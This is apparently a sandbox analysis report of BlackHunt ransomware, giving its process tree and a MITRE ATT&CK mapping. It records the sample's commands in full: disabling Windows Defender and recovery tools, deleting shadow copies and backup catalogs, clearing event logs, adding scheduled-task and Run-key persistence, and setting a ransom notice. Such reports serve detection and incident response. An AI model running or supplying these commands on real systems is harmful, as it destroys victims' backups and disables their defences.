  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3680
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:7320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3864
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3056
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4712
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:7024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1576
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:7744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe" /F
  2⤵
  PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:16264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    PID:8232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:15156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    PID:8680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:6908
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:5464
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:6952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe"
  2⤵
  PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:7160
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:12964
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 12964 -s 1464
      4⤵
      Program crash
      PID:11872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:5592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:14024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:14476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:10168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:8660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:8816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:16312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:8132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:14384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:8608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:9124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:7760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:7712

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:1148

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:4820

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2020

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2200

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2852

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of WriteProcessMemory
PID:676
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4444

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2000

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:8188

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:7356

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:7344

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe" /F
1⤵
- Creates scheduled task(s)
PID:2880

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:1560

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:1736

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:5068

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:1724

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2008

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:10808

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2380

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2908

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
- Modifies registry class
PID:1180

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6620

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:3812

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:3076

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1300

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:11340

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1780

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:5076

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2740

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2176

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2008

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2320

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
PID:7684

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5068

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:7212

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:6776

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:6716

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
1⤵
PID:6788

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:5848

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:5856

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:6832

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
PID:7064

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:6428

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3484

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:8348

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:5812

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
PID:7552

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
PID:8012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 12964 -ip 12964
1⤵
PID:7148

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
PID:8716

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:14456

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
PID:13760

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
- Enumerates connected drives
PID:1560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery